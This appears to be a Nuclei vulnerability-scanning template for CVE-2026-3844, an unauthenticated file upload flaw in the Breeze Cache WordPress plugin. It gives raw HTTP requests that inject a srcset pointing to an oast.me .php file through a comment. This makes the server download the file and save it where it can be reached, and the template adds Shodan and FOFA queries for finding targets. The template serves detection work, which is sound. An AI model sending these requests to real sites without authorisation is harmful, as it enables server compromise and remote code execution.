id: CVE-2026-3844 info: name: Breeze <= 2.4.4 - Arbitrary File Upload author: theamanrawat,ritikchaddha severity: critical description: | Breeze Cache WordPress plugin <= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled. impact: | Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise. remediation: | Update to the latest version where this vulnerability is fixed. reference: - https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2026-3844 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-3844 epss-score: 0.27701 epss-percentile: 0.97963 cwe-id: CWE-434 metadata: max-request: 4 verified: true shodan-query: http.html:"/wp-content/plugins/breeze/" fofa-query: body="/wp-content/plugins/breeze/" tags: cve,cve2026,wordpress,wp-plugin,wp,breeze,file-upload,rce,vkev variables: marker: "{{randstr}}" flow: http(1) && http(2) && http(3) http: - raw: - | POST /wp-comments-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded comment_post_ID=1&author=x+srcset%3Dhttp%3A%2F%2Foast.me%2F{{marker}}.php&email=breeze{{marker}}%40test.com&comment=breeze+vuln+test+{{marker}}&submit=Post+Comment extractors: - type: regex name: redirect_path part: header_1 group: 1 regex: - 'Location: https?://[^/]+(/.+)' internal: true - raw: - | GET {{redirect_path}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "srcset=https://oast.me")' condition: and internal: true - raw: - | GET /wp-content/cache/breeze-extra/gravatars/{{marker}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "")' - 'status_code == 200' condition: and # digest: 4a0a00473045022056823479c363bfa99b94dbf75a61522cab0d4961c005cf89062d0c829391b0f3022100e4648ce19a4cf4087b9b4711cbd37d2b2d1037097e03b52b317954b00b793b88:922c64590222798bb761d5b6d8e72950